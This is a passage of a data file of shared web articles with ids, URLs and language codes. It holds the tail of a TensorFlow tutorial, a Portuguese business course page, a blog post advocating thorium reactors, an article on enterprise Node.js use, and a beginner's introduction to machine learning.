_default_graph_stack , but we don't have access to that directly. We use tf.get_default_graph() . The nodes of the TensorFlow graph are called ""operations,"" or ""ops."" We can see what operations are in the graph with graph.get_operations() . Currently, there isn't anything in the graph. We'll need to put everything we want TensorFlow to compute into that graph. Let's start with a simple constant input value of one. That constant now lives as a node, an operation, in the graph. The Python variable name input_value refers indirectly to that operation, but we can also find the operation in the default graph. TensorFlow uses protocol buffers internally. ( Protocol buffers are sort of like a Google-strength JSON .) Printing the node_def for the constant operation above shows what's in TensorFlow's protocol buffer representation for the number one. People new to TensorFlow sometimes wonder why there's all this fuss about making ""TensorFlow versions"" of things. Why can't we just use a normal Python variable without also defining a TensorFlow object? One of the TensorFlow tutorials has an explanation: To do efficient numerical computing in Python, we typically use libraries like NumPy that do expensive operations such as matrix multiplication outside Python, using highly efficient code implemented in another language. Unfortunately, there can still be a lot of overhead from switching back to Python every operation. This overhead is especially bad if you want to run computations on GPUs or in a distributed manner, where there can be a high cost to transferring data. TensorFlow also does its heavy lifting outside Python, but it takes things a step further to avoid this overhead. Instead of running a single expensive operation independently from Python, TensorFlow lets us describe a graph of interacting operations that run entirely outside Python. This approach is similar to that used in Theano or Torch. TensorFlow can do a lot of great things, but it can only work with what's been explicitly given to it. This is true even for a single constant. If we inspect our input_value , we see it is a constant 32-bit float tensor of no dimension: just one number. Note that this doesn't tell us what that number is . To evaluate input_value and get a numerical value out, we need to create a ""session"" where graph operations can be evaluated and then explicitly ask to evaluate or ""run"" input_value . (The session picks up the default graph by default.) It may feel a little strange to ""run"" a constant. But it isn't so different from evaluating an expression as usual in Python; it's just that TensorFlow is managing its own space of things-the computational graph-and it has its own method of evaluation. The simplest TensorFlow neuron Now that we have a session with a simple graph, let's build a neuron with just one parameter, or weight. Often, even simple neurons also have a bias term and a non-identity activation function, but we'll leave these out. The neuron's weight isn't going to be constant; we expect it to change in order to learn based on the ""true"" input and output we use for training. The weight will be a TensorFlow variable . We'll give that variable a starting value of 0.8. You might expect that adding a variable would add one operation to the graph, but in fact that one line adds four operations. We can check all the operation names: We won't want to follow every operation individually for long, but it will be nice to see at least one that feels like a real computation. Now there are six operations in the graph, and the last one is that multiplication. This shows how the multiplication operation tracks where its inputs come from: they come from other operations in the graph. To understand a whole graph, following references this way quickly becomes tedious for humans. TensorBoard graph visualization is designed to help. How do we find out what the product is? We have to ""run"" the output_value operation. But that operation depends on a variable: weight . We told TensorFlow that the initial value of weight should be 0.8, but the value hasn't yet been set in the current session. The tf.initialize_all_variables() function generates an operation which will initialize all our variables (in this case just one) and then we can run that operation. The result of tf.initialize_all_variables() will include initializers for all the variables currently in the graph, so if you add more variables you'll want to use tf.initialize_all_variables() again; a stale init wouldn't include the new variables. Now we're ready to run the output_value operation. Recall that's 0.8 * 1.0 with 32-bit floats, and 32-bit floats have a hard time with 0.8; 0.80000001 is as close as they can get. See your graph in TensorBoard Up to this point, the graph has been simple, but it would already be nice to see it represented in a diagram. We'll use TensorBoard to generate that diagram. TensorBoard reads the name field that is stored inside each operation (quite distinct from Python variable names). We can use these TensorFlow names and switch to more conventional Python variable names. Using tf.mul here is equivalent to our earlier use of just * for multiplication, but it lets us set the name for the operation. TensorBoard works by looking at a directory of output created from TensorFlow sessions. We can write this output with a SummaryWriter , and if we do nothing aside from creating one with a graph, it will just write out that graph. The first argument when creating the SummaryWriter is an output directory name, which will be created if it doesn't exist. Now, at the command line, we can start up TensorBoard. TensorBoard runs as a local web app, on port 6006. (""6006"" is ""goog"" upside-down.) If you go in a browser to localhost:6006/#graphs you should see a diagram of the graph you created in TensorFlow, which looks something like Figure 2. Figure 2. A TensorBoard visualization of the simplest TensorFlow neuron. Making the neuron learn Now that we've built our neuron, how does it learn? We set up an input value of 1.0. Let's say the correct output value is zero. That is, we have a very simple ""training set"" of just one example with one feature, which has the value one, and one label, which is zero. We want the neuron to learn the function taking one to zero. Currently, the system takes the input one and returns 0.8, which is not correct. We need a way to measure how wrong the system is. We'll call that measure of wrongness the ""loss"" and give our system the goal of minimizing the loss. If the loss can be negative, then minimizing it could be silly, so let's make the loss the square of the difference between the current output and the desired output. So far, nothing in the graph does any learning. For that, we need an optimizer. We'll use a gradient descent optimizer so that we can update the weight based on the derivative of the loss. The optimizer takes a learning rate to moderate the size of the updates, which we'll set at 0.025. The optimizer is remarkably clever. It can automatically work out and apply the appropriate gradients through a whole network, carrying out the backward step for learning. Let's see what the gradient looks like for our simple example. Why is the value of the gradient 1.6? Our loss is error squared, and the derivative of that is two times the error. Currently the system says 0.8 instead of 0, so the error is 0.8, and two times 0.8 is 1.6. It's working! For more complex systems, it will be very nice indeed that TensorFlow calculates and then applies these gradients for us automatically. Let's apply the gradient, finishing the backpropagation. The weight decreased by 0.04 because the optimizer subtracted the gradient times the learning rate, 1.6 * 0.025, pushing the weight in the right direction. Instead of hand-holding the optimizer like this, we can make one operation that calculates and applies the gradients: the train_step . Running the training step many times, the weight and the output value are now very close to zero. The neuron has learned! Training diagnostics in TensorBoard We may be interested in what's happening during training. Say we want to follow what our system is predicting at every training step. We could print from inside the training loop. This works, but there are some problems. It's hard to understand a list of numbers. A plot would be better. And even with only one value to monitor, there's too much output to read. We're likely to want to monitor many things. It would be nice to record everything in some organized way. Luckily, the same system that we used earlier to visualize the graph also has just the mechanisms we need. We instrument the computation graph by adding operations that summarize its state. Here, we'll create an operation that reports the current value of y , the neuron's current output. When you run a summary operation, it returns a string of protocol buffer text that can be written to a log directory with a SummaryWriter . Now after running tensorboard --logdir=log_simple_stat , you get an interactive plot at localhost:6006/#events (Figure 3). Figure 3. A TensorBoard visualization of a neuron's output against training iteration number. Flowing onward Here's a final version of the code. It's fairly minimal, with every part showing useful (and understandable) TensorFlow functionality. The example we just ran through is even simpler than the ones that inspired it in Michael Nielsen's Neural Networks and Deep Learning . For myself, seeing details like these helps with understanding and building more complex systems that use and extend from simple building blocks. Part of the beauty of TensorFlow is how flexibly you can build complex systems from simpler components. If you want to continue experimenting with TensorFlow, it might be fun to start making more interesting neurons, perhaps with different activation functions . You could train with more interesting data. You could add more neurons. You could add more layers. You could dive into more complex pre-built models , or spend more time with TensorFlow's own tutorials and how-to guides . Go for it!",en
1466432853,CONTENT SHARED,4950037926975347884,3609194402293569455,7287542364117885267,,,,HTML,https://endeavor.org.br/cursos/tornar-negocio-escalavel-inovador,Curso Gratuito Como tornar seu negócio escalável e inovador,"Como tornar seu negócio escalável e inovador Aprenda como inovar e crie um negócio escalável com alto potencial de crescimento. Auxiliar o empreendedor a estruturar um modelo de negócio mais inovador e escalável com alto potencial de crescimento. Este curso não oferece certificado, mas oferece muito conhecimento aplicável 100% gratuito! Identificar quais são as características de empresas de alto impacto. Identificar problemas e criar soluções de negócios inovadores. Entender o que compõe um diferencial competitivo (análise da concorrência, processos de inovação, etc). Saber o que é um negócio escalável, como criar uma segmentação do consumidor e de mercado. Escalar os vários componentes do modelo de negócio. Elaborar uma estratégia futura. Quando a teoria é aplicada na prática, ela faz muito mais sentido. Vamos te contar cases reais de empreendedores que criaram soluções de negócios inovadoras e se destacaram dos concorrentes.Algumas das histórias apresentadas no curso: Ozires Silva , fundador da Embraer, empresa B2B no segmento de aviação Luiz Eduardo Serafim , head de Marketing Corporativo da 3M, empresa B2C de Produto no segmento de tecnologia André Bianchi , sócio da Bianchi & Associates, empresa B2B no segmento de consultoria em gestão empresarial Caio Bonatto , Empreendedor Endeavor e fundador da Tecverde, empresa B2C de Serviço no segmento de construção A Endeavor trabalha para multiplicar empreendedores que vão transformar o Brasil. Acreditamos que um país com empreendedores que sonham grande, que querem transformar os setores em que atuam e que colocam paixão no que fazem é um país melhor para todos.",pt
1466442267,CONTENT SHARED,2405689222645002684,-2979881261169775358,2561066324693802180,,,,HTML,http://austinmeyer.com/project/thorium/,Thorium,"On September 12, 1932, a man named Leo Szilard was wanted to walk across the street in London. But the ""walk"" light across the street was red, so he had to wait for 30 seconds. In that 30 seconds, it occurred to him that when an atom split, it emitted neutrons... and those neutrons might hit OTHER atoms, splitting THEM! And a chain reaction could be started. And that is how the atom bomb was conceived. In 1945, theory was turned into practice. (I can't even WRITE that without my skin crawling, but nevertheless, it can't be un-done now). Immediately, the scientists saw that if they just slowed down the reaction a bit, they could get controlled power. Power almost without limit. Power without pollution. At the legendary Oak Ridge National Lab, countless Nuclear Reactor designs were theorized, simulated, built, and operated. It quickly became apparent that we could use either of two different materials to run a Nuclear Reactor: Uranium or Thorium. In a nutshell, the scientists approached the Federal Government and made the pitch: ""We can give you TWO kinds of reactors: URANIUM-based, where the by-product will be PLUTONIUM, which you can use to make bombs, or THORIUM, where the by-products will have little weaponization utility.. you won;t really be able to make bombs with the waste. Which Nuclear Power do you want? The one that makes the bombs, or the one that doesn't?"" I think you know where this is going, right? The Government said: ""Oh, give us the bombs!"" And the future of Nuclear power based on Uranium was cemented... with the eternal fear that he waste from the power would feed World War III. In a nutshell, the scientists approached the Federal Government and made the pitch: ""We can give you TWO kinds of reactors: PRESSURIZED-WATER-based, which will require water being held at many atmospheres of pressure and constantly-circulated, or the reactor will melt down and irradiate everyone in the area, or a liquid flouride-based, which can run at atmospheric pressure for safety, be designed with a big overflow tank to be melt-down proof if the circulation ever stops, so will never melt down. Which Nuclear Power do you want? The one that will melt down if the water-flow ever stops, or the one that doesn't?"" (by the way, only the FIRST one will fit inside a Nuclear submarine) I think you know where this is going, right? The Government said: ""Oh, give us the one that will melt down!"" (So we can install it in Nuclear submarines, which need the SMALLER reactor). And the future of Three Mile island, Chernobyl, and Fukushima were cemented... all cases where water flow stopped (or suddenly started) and melt-downs or steam explosions resulted. So you see, the Federal Government chose the Uranium-based Pressurized-Water reactor 60 years ago so it could power Nuclear Submarines (and then Aircraft Carriers) and provide them with Atomic BOMBS as well. As for the possibility of a catastrophic melt-down? Weeeellllllll.... just don't let the flow of cooling water stop, eh? As for the radio-active waste that remains hazardous for TENS OF THOUSANDS OF YEARS??!?!!? Weeeellllllll.... we'll just worry about that later, OK? Obviously, when we switch from yesterdays obsolete needs to todays, we see that plutonium by-products of Nuclear Power are actually among the worst draw-backs of the energy source, and the need to make reactors that can fit in boats is now quite silly... the Navy now has the reactor technology that they need, and that need have no influence at all on civilian reactor design. So let's look at Thorium Power: A Thorium-based Nuclear Reactor would use Thorium instead of Uranium as it's power source. Thorium is actually much MORE plentiful than Uranium, so the fuel for a Thorium plant would be much MORE readily available than Uranium. In fact, Thorium is actually REMOVED as an UN-WANTED BY-PRODUCT of some Ore processing, so we have literally piles of it laying about! A Thorium-based Nuclear Reactor could run as a liquid flouride at atmospheric pressure, reducing the need for the immensely-strong plumbing and containment vessels of current reactors. A Thorium-based Nuclear Reactor wants a steady flow of neutrons to keep it going. These neutrons hitting the Thorium atoms split them and release the energy that drives the plant. The neutron-generator fails? Ok. The fuel stops getting hotter. There is no melt-down or other catastrophic event at all. We just don't get any more power from the plant until somebody fixes the neutron-generator (not as hard as it sounds! ;-P ) You see, you have to go out of your way to KEEP the reaction going. This way, the thing never gets out of control and runs away from you. That's one of the things that make it safe. A Thorium-based Nuclear Reactor can be built with a bug empty tank underneath it. If the coolant ever stops flowing (as happened at Three Mile Island and Fukushima) then the coolant would simply melt it's way through a simple plug that is designed to easily overheat, and simply fall down into the empty tank underneath it, at which point the coolant would simply gradually cool, without ever leaving the tank. There literally could not be a melt-down... the temperatures simply could not get high enough. You see, the temperatures are high enough to turn water to steam (to drive your turbines to make electricity) but not high enough to melt out of your backup containment tank, which is where the coolant will flow if everything goes caterwhampus at the plant, as happened at Three Mile Island and Fukushima. That's one of the things that make it safe. A Thorium-based Nuclear Reactor results in very little if any material that can be use to make atom bombs... which would be very convenient right now in our dealings with Iran. And now, finally, the really big one: A Thorium Nuclear reactor would make much less radioactive waste than a convention Nuclear Power Plant, and most of the waste that it DOES make would only be dangerous for.... 300 years. Can that radioactive waste be isolated for 300 years, instead of the tens of thousands of years that waste must be isolated with conventional plants? Of course! Compared to tens of thousands of years, 300 years is nothing! So, the path for Nuclear Power was set in the 1950's, the world has changed (much for the better!) since then, and it is now (past) time to aim Nuclear Power in the direction that it actually makes sense to go. Contact your local Power Company (!) and Government representative to let them know. I am going back to school (!) and getting a degree in Nuclear Engineering now, so I can write Nuclear Power Plant simulators to prove all of this in the coming years. (Hey, it worked with X-Plane!) Anyhoo, Google ""Thorium Power"", or grab ""Superfuel"" by Richard Martin to learn more. But don't get it from Amazon. They Patent everything . ( which can destroy other peoples' freedom to do the same job ).",en
1466443111,CONTENT SHARED,4788854083489560153,5127372011815639401,-5274409486477114174,,,,HTML,https://blog.risingstack.com/node-js-examples-how-enterprises-use-node-in-2016/,Node.js Examples - How Enterprises use Node in 2016 | @RisingStack,"Node.js had an extraordinary year so far: npm already hit 4 million users and processes a billion downloads a week, while major enterprises adopt the language as the main production framework day by day. The latest example of Node.js ruling the world is the fact that NASA uses it ""to build the present and future systems supporting spaceship operations and development."" - according to the recent tweets of Collin Estes - Director of Software Technologies of the Space Agency. Fortunately, the Node Foundation's ""Enterprise conversations"" project lets us peek into the life of the greatest enterprises and their use cases as well. This article summarizes how GoDaddy, Netflix, and Capital One uses Node.js in 2016. GoDaddy ditched .NET to work with Node.js Charlie Robbins is the Director of Engineering for the UX platform at GoDaddy. He is one of the longest-term users of the technology, since he started to use it shortly after watching Ryan Dahl's legendary Node.js presentation at JSConf in December 2009 and was one of the founders of Nodejitsu. His team at GoDaddy uses Node.js for both front-end and back-end projects, and they recently rolled out their global site rebrand in one hour thanks to the help of Node.js. Before that, the company primarily used .NET and was transitioning to Java. They figured out that despite the fact that Microsoft does a great job supporting .NET developers and they've made .NET open source, it doesn't have a vibrant community of module publishers and they had to rely too much on what Microsoft released. ""The typical .NET scenario is that you wait for Microsoft to come out with something that you can use to do a certain task. You become really good at using that, but the search process for what's good and what's bad, it's just not a skill that you develop."" Because of this, the company had to develop a new skill: to go out and find all the other parts of the stack. As opposed to other enterprise technologies like .NET where most of the functionality was included in the standard library, they had to become experts in evaluating modules. GoDaddy started to use Node for the front-end and then ended up using it more in the back-end as well. The same .NET engineers who were writing the back-end code were writing the JavaScript front-end code. The majority of engineers are full stack now. The most exciting things for Charlie about Node.js are being handled mainly by the working groups . ""I'm very excited about the tracing working group and the things that are going to come out of that to build an open source instrumentation system of eco-tooling."" Other exciting things for him are the diagnostics working group (previously: inclusivity) and the Node.js Live events - particularly Node.js communities in countries where English is not used. Places like China, for example, where most of the engineers are still primarily speaking Chinese, and there's a not a lot of crossovers. ""I'm excited to see those barriers start to come down and as those events get to run."" As of talking about GoDaddy and Node: they have just released the project that they've been working on pretty extensively with Cassandra. It was an eight-month long process, and you can read the full story of ""Taming Cassandra in Node.js"" at the GoDaddy engineering blog. Netflix scales horizontally thanks to its Node container layer The next participants in Node Foundations enterprise conversation series are Kim Trott , the director of UI Platform Engineering and Yunong Xiao , Platform Architect from Netflix. Kim's been at Netflix for nine years - she just arrived before the company launched its first streaming service. It was the era when you could only watch Netflix with Windows Media Player, and the full catalog consisted only 50 titles. ""I've seen the evolution of Netflix going from DVD and streaming to now being our own content producer."" Yunong Xiao, who's well known for being the maintainer of restify arrived two years ago, and just missed the party the company held for reaching 15 million users - but since they are fastly approaching their 100 millionth subscribers, he'll have a chance to celebrate soon. Yunong previously worked at Joyent on Node.js and distributed systems, and at AWS as well. His role at Netflix is to have Node up and running in scale and making sure it's performing well. Kim manages the UI platform team within the UI engineering part of the organization. Their role is to help all the teams building the Netflix application by making them more productive and efficient. This job can cover a wide range of tasks: it could be building libraries that are shared across all of the teams that make it easier to do data access or client side logging, and building things that make easier to run Node applications in production for UI focused teams. Kim provided us a brief update on how the containerization of the edge services have been going at Netflix - since she talked about it on Node Interactive in last years December. When any device or client tries to access Netflix, they have to use something what's called edge services, which is a set of endpoint scripts - a monolithic JVM based system, which lets them mutate and access data. It's been working really well, but since it's a monolith, Netflix met some vertical scaling concerns. It was a great opportunity to leverage Node and Docker to be able to scale horizontally all of this data access scripts out. ""Since I've spoken at Node Interactive we've made a lot of progress on the project, and we're actually about to run a full system test where we put real production traffic through the new Node container layer to prove out the whole stack and flush out any problems around scaling or memory, so that's really exciting."" How Node.js affected developer productivity at Netflix? The developer productivity comes from breaking down the monolith into smaller, much more manageable pieces - and from being able to run them on local machines and do the containerization. We can effectively guarantee that what you're running locally will very closely mirror what you run in production and that's really beneficial - told Kim. ""Because of the way Node works we can attach debuggers, and set breakpoint steps through the code. If you wanted to debug these groovy scripts in the past, you would make some code changes upload it to the edge layer, run it, see if it breaks, make some more changes, upload it again, and so on.."" It saves us tens of minutes to test, but the real testament to this project is: all of our engineers who are working on the clients are asking: when do we get to use this instead of the current stack? - told Yunong. The future of Node at Netflix Over the next few months, the engineering team will move past building out the previously mentioned stack and start working on tooling and performance related problems. Finding better tools for post-mortem debugging is something that they're absolutely passionate about. They are also planning to be involved in the working groups and help contribute back to the community and so that they can build a better tool that everyone can leverage. ""One of the reasons why Node is so popular is the fact that it's got a really solid suite of tools just to debug, so that's something that we're actually working contributing on."" Node.js brings joy for developers at Capital One Azat Mardan is a technology fellow at Capital One and an expert on Node.js and JavaScript. He's also the author of the Webapplog.com, and you've probably read one of his most popular book: Practical Node.js. ""Most people think of Capital One as a bank and not as a technology company, which it is. At Capital One, and especially this Technology Fellowship program, we bring innovation, so we have really interesting people on my team: Jim Jagielski and Mitch Pirtle. One founded Apache Software Foundation and the other, Joomla!, so I'm just honored to be on this team."" Azats goal is to bring Node.js to Capital One and to teach Node.js courses internally, as well as to write for the blog, and provide architectural advice. The company has over 5,000 engineers and several teams who started using Node.js at different times. Capital One uses Node.js for: Hygieia, which is an open-source dashboard for DevOps. It started in 2013 and was announced last year at OSCON, and it has about 900 GitHub stars right now. They're using Node.js for the frontend and for the build too. Building the orchestration layer. They have three versions of the Enterprise API, and it's mostly built with Java, but it's not convenient to use on the front end. Capital One uses Angular mostly, but they have a little bit of React as well. In this case, the front-facing single page applications need something to massage and format the data - basically to make multiple codes to the different APIs. Node.js works really great for them for building this orchestration layer. ""It's a brilliant technology for that piece of the stack because it allows us to use the same knowledge from the front end, to reuse some of the modules, to use the same developers. I think that's the most widespread use case at Capital One, in terms of Node.js."" The effect of Node.js on the company Node.js allows much more transferable skill-sets between the front end and some of the back-end team, and it allows them to be a little bit more integrated. ""When I'm working with the team, and whether it's Java or C# developers, they're doubling a little bit on front ends; so they're not experts but once they switch to the stack where Node.js is used in the back end, they're more productive because they don't have that switch of context. I see this pure joy that it brings to them during development because JavaScript it just a fun language that they can use."" From the business perspective: the teams can reuse some of the modules and templates for example, and some of the libraries as well. It's great from both the developers and from the managerial perspective. Also, Node has a noticeable effect on the positions and responsibilities of the engineers as well. Big companies like Capital One will definitely need pure back-end engineers for some of the projects in the future, but more and more teams employ ninjas who can do front-end, back-end, and a little bit of DevOps too - so the teams are becoming smaller. Instead of two teams, one is a pure back end, and one is a pure front end - consisting seven people overall - a ninja team of five can do both. ""That removes a lot of overhead in communication because now you have fewer people, so you need fewer meetings, and you actually can focus more on the work, instead of just wasting your time."" The future of Node.js Node.js has the potential to be the go-to-framework for both startups and big companies, which is a really unique phenomenon - according to Azat. ""I'm excited about this year, actually. I think this year is when Node.js has gone mainstream."" The Node.js Interactive in December has shown that major companies are supporting Node.js now. IBM said that Node.js and Java are the two languages for the APIs they would be focusing on, so the mainstream adoption of the language is coming, unlike what we've seen with Ruby - he told. ""I'm excited about Node.js in general, I see more demand for courses, for books, for different topics, and I think having this huge number of front-end JavaScript developers is just a tremendous advantage in Node.js."" Start learning Node! As you can see, adopting Node.js in an enterprise environment has tremendous benefits. It makes the developers happier and increases the productivity of the engineering teams. If you'd like to start learning it I suggest to check out our Node Hero tutorial series . Share your thoughts in the comments.",en
1466446219,CONTENT SHARED,3075810310719170278,-1443636648652872475,-8854509447672303603,,,,HTML,https://medium.com/@ageitgey/machine-learning-is-fun-80ea3ec3c471,Machine Learning is Fun!,"What is machine learning? Machine learning is the idea that there are generic algorithms that can tell you something interesting about a set of data without you having to write any custom code specific to the problem. Instead of writing code, you feed data to the generic algorithm and it builds its own logic based on the data. For example, one kind of algorithm is a classification algorithm. It can put data into different groups. The same classification algorithm used to recognize handwritten numbers could also be used to classify emails into spam and not-spam without changing a line of code. It's the same algorithm but it's fed different training data so it comes up with different classification logic. ""Machine learning"" is an umbrella term covering lots of these kinds of generic algorithms. Two kinds of Machine Learning Algorithms You can think of machine learning algorithms as falling into one of two main categories -  supervised learning and unsupervised learning . The difference is simple, but really important. Supervised Learning Let's say you are a real estate agent. Your business is growing, so you hire a bunch of new trainee agents to help you out. But there's a problem - you can glance at a house and have a pretty good idea of what a house is worth, but your trainees don't have your experience so they don't know how to price their houses. To help your trainees (and maybe free yourself up for a vacation), you decide to write a little app that can estimate the value of a house in your area based on it's size, neighborhood, etc, and what similar houses have sold for. So you write down every time someone sells a house in your city for 3 months. For each house, you write down a bunch of details - number of bedrooms, size in square feet, neighborhood, etc. But most importantly, you write down the final sale price: Using that training data, we want to create a program that can estimate how much any other house in your area is worth: This is called supervised learning . You knew how much each house sold for, so in other words, you knew the answer to the problem and could work backwards from there to figure out the logic. To build your app, you feed your training data about each house into your machine learning algorithm. The algorithm is trying to figure out what kind of math needs to be done to make the numbers work out. This kind of like having the answer key to a math test with all the arithmetic symbols erased: From this, can you figure out what kind of math problems were on the test? You know you are supposed to ""do something"" with the numbers on the left to get each answer on the right. In supervised learning , you are letting the computer work out that relationship for you. And once you know what math was required to solve this specific set of problems, you could answer to any other problem of the same type! Unsupervised Learning Let's go back to our original example with the real estate agent. What if you didn't know the sale price for each house? Even if all you know is the size, location, etc of each house, it turns out you can still do some really cool stuff. This is called unsupervised learning. This is kind of like someone giving you a list of numbers on a sheet of paper and saying ""I don't really know what these numbers mean but maybe you can figure out if there is a pattern or grouping or something - good luck!"" So what could do with this data? For starters, you could have an algorithm that automatically identified different market segments in your data. Maybe you'd find out that home buyers in the neighborhood near the local college really like small houses with lots of bedrooms, but home buyers in the suburbs prefer 3-bedroom houses with lots of square footage. Knowing about these different kinds of customers could help direct your marketing efforts. Another cool thing you could do is automatically identify any outlier houses that were way different than everything else. Maybe those outlier houses are giant mansions and you can focus your best sales people on those areas because they have bigger commissions. Supervised learning is what we'll focus on for the rest of this post, but that's not because unsupervised learning is any less useful or interesting. In fact, unsupervised learning is becoming increasingly important as the algorithms get better because it can be used without having to label the data with the correct answer. Side note for pedants: There are lots of other types of machine learning algorithms. But this is a pretty good place to start. That's cool, but does being able to estimate the price of a house really count as ""learning""? As a human, your brain can approach most any situation and learn how to deal with that situation without any explicit instructions. If you sell houses for a long time, you will instinctively have a ""feel"" for the right price for a house, the best way to market that house, the kind of client who would be interested, etc. The goal of Strong AI research is to be able to replicate this ability with computers. But current machine learning algorithms aren't that good yet - they only work when focused a very specific, limited problem. Maybe a better definition for ""learning"" in this case is ""figuring out an equation to solve a specific problem based on some example data"". Unfortunately ""Machine Figuring out an equation to solve a specific problem based on some example data"" isn't really a great name. So we ended up with ""Machine Learning"" instead. Of course if you are reading this 50 years in the future and we've figured out the algorithm for Strong AI, then this whole post will all seem a little quaint. Maybe stop reading and go tell your robot servant to go make you a sandwich, future human. Let's write that program! So, how would you write the program to estimate the value of a house like in our example above? Think about it for a second before you read further. If you didn't know anything about machine learning, you'd probably try to write out some basic rules for estimating the price of a house like this: If you fiddle with this for hours and hours, you might end up with something that sort of works. But your program will never be perfect and it will be hard to maintain as prices change. Wouldn't it be better if the computer could just figure out how to implement this function for you? Who cares what exactly the function does as long is it returns the correct number: One way to think about this problem is that the price is a delicious stew and the ingredients are the number of bedrooms , the square footage and the neighborhood . If you could just figure out how much each ingredient impacts the final price, maybe there's an exact ratio of ingredients to stir in to make the final price. That would reduce your original function (with all those crazy if 's and else 's) down to something really simple like this: Notice the magic numbers in bold -  .841231951398213 , 1231.1231231 , 2.3242341421 ,and 201.23432095 . These are our weights . If we could just figure out the perfect weights to use that work for every house, our function could predict house prices! A dumb way to figure out the best weights would be something like this: Step 1: Start with each weight set to 1.0: Step 2: Run every house you know about through your function and see how far off the function is at guessing the correct price for each house: For example, if the first house really sold for $250,000, but your function guessed it sold for $178,000, you are off by $72,000 for that single house. Now add up the squared amount you are off for each house you have in your data set. Let's say that you had 500 home sales in your data set and the square of how much your function was off for each house was a grand total of $86,123,373. That's how ""wrong"" your function currently is. Now, take that sum total and divide it by 500 to get an average of how far off you are for each house. Call this average error amount the cost of your function. If you could get this cost to be zero by playing with the weights, your function would be perfect. It would mean that in every case, your function perfectly guessed the price of the house based on the input data. So that's our goal - get this cost to be as low as possible by trying different weights. Step 3: Repeat Step 2 over and overwith every single possible combination of weights . Whichever combination of weights makes the cost closest to zero is what you use. When you find the weights that work, you've solved the problem! Mind Blowage Time Research in many fields (like linguistics/translation) over the last 40 years has shown that these generic learning algorithms that ""stir the number stew"" (a phrase I just made up) out-perform approaches where real people try to come up with explicit rules themselves. The ""dumb"" approach of machine learning eventually beats human experts. The function you ended up with is totally dumb. It doesn't even know what ""square feet"" or ""bedrooms"" are. All it knows is that it needs to stir in some amount of those numbers to get the correct answer. It's very likely you'll have no idea why a particular set of weights will work. So you've just written a function that you don't really understand but that you can prove will work. Imagine that instead of taking in parameters like ""sqft"" and ""num_of_bedrooms"", your prediction function took in an array of numbers. Let's say each number represented the brightness of one pixel in an image captured by camera mounted on top of your car. Now let's say that instead of outputting a prediction called ""price"", the function outputted a prediction called ""degrees_to_turn_steering_wheel"". You've just made a function that can steer your car by itself! That's pretty simple, right? Well think about what you just did. You took some data, you fed it through three generic, really simple steps, and you ended up with a function that can guess the price of any house in your area. Watch out, Zillow! But here's a few more facts that will blow your mind: Pretty crazy, right? What about that whole ""try every number"" bit in Step 3? Ok, of course you can't just try every combination of all possible weights to find the combo that works the best. That would literally take forever since you'd never run out of numbers to try. To avoid that, mathematicians have figured out lots of clever ways to quickly find good values for those weights without having to try very many. Here's one way: First, write a simple equation that represents Step #2 above: Now let's re-write exactly the same equation, but using a bunch of machine learning math jargon (that you can ignore for now): This equation represents how wrong our price estimating function is for the weights we currently have set. If we graph this cost equation for all possible values of our weights for number_of_bedrooms and sqft , we'd get a graph that might look something like this: In this graph, the lowest point in blue is where our cost is the lowest - thus our function is the least wrong. The highest points are where we are most wrong. So if we can find the weights that get us to the lowest point on this graph, we'll have our answer! So we just need to adjust our weights so we are ""walking down hill"" on this graph towards the lowest point. If we keep making small adjustments to our weights that are always moving towards the lowest point, we'll eventually get there without having to try too many different weights. If you remember anything from Calculus, you might remember that if you take the derivative of a function, it tells you the slope of the function's tangent at any point. In other words, it tells us which way is downhill for any given point on our graph. We can use that knowledge to walk downhill. So if we calculate a partial derivative of our cost function with respect to each of our weights, then we can subtract that value from each weight. That will walk us one step closer to the bottom of the hill. Keep doing that and eventually we'll reach the bottom of the hill and have the best possible values for our weights. (If that didn't make sense, don't worry and keep reading). That's a high level summary of one way to find the best weights for your function called batch gradient descent . Don't be afraid to dig deeper if you are interested on learning the details. When you use a machine learning library to solve a real problem, all of this will be done for you. But it's still useful to have a good idea of what is happening. What else did you conveniently skip over? The three-step algorithm I described is called multivariate linear regression . You are estimating the equation for a line that fits through all of your house data points. Then you are using that equation to guess the sales price of houses you've never seen before based where that house would appear on your line. It's a really powerful idea and you can solve ""real"" problems with it. But while the approach I showed you might work in simple cases, it won't work in all cases. One reason is because house prices aren't always simple enough to follow a continuous line. But luckily there are lots of ways to handle that. There are plenty of other machine learning algorithms that can handle non-linear data (like neural networks or SVMs with kernels ). There are also ways to use linear regression more cleverly that allow for more complicated lines to be fit. In all cases, the same basic idea of needing to find the best weights still applies. Also, I ignored the idea of overfitting . It's easy to come up with a set of weights that always works perfectly for predicting the prices of the houses in your original data set but never actually works for any new houses that weren't in your original data set. But there are ways to deal with this (like regularization and using a cross-validation data set). Learning how to deal with this issue is a key part of learning how to apply machine learning successfully. In other words, while the basic concept is pretty simple, it takes some skill and experience to apply machine learning and get useful results. But it's a skill that any developer can learn! Is machine learning magic? Once you start seeing how easily machine learning techniques can be applied to problems that seem really hard (like handwriting recognition), you start to get the feeling that you could use machine learning to solve any problem and get an answer as long as you have enough data. Just feed in the data and watch the computer magically figure out the equation that fits the data! But it's important to remember that machine learning only works if the problem is actually solvable with the data that you have. For example, if you build a model that predicts home prices based on the type of potted plants in each house, it's never going to work. There just isn't any kind of relationship between the potted plants in each house and the home's sale price. So no matter how hard it tries, the computer can never deduce a relationship between the two. So remember, if a human expert couldn't use the data to solve the problem manually, a computer probably won't be able to either. Instead, focus on problems where a human could solve the problem, but where it would be great if a computer could solve it much more quickly. How to learn more about Machine Learning In my mind, the biggest problem with machine learning right now is that it mostly lives in the world of academia and commercial research groups. There isn't a lot of easy to understand material out there for people who would like to get a broad understanding without actually becoming experts. But it's getting a little better every day. Andrew Ng's free Machine Learning class on Coursera is pretty amazing. I highly recommend starting there. It should be accessible to anyone who has a Comp. Sci. degree and who remembers a very minimal amount of math. Also, you can play around with tons of machine learning algorithms by downloading and installing SciKit-Learn . It's a python framework that has ""black box"" versions of all the standard algorithms.",en
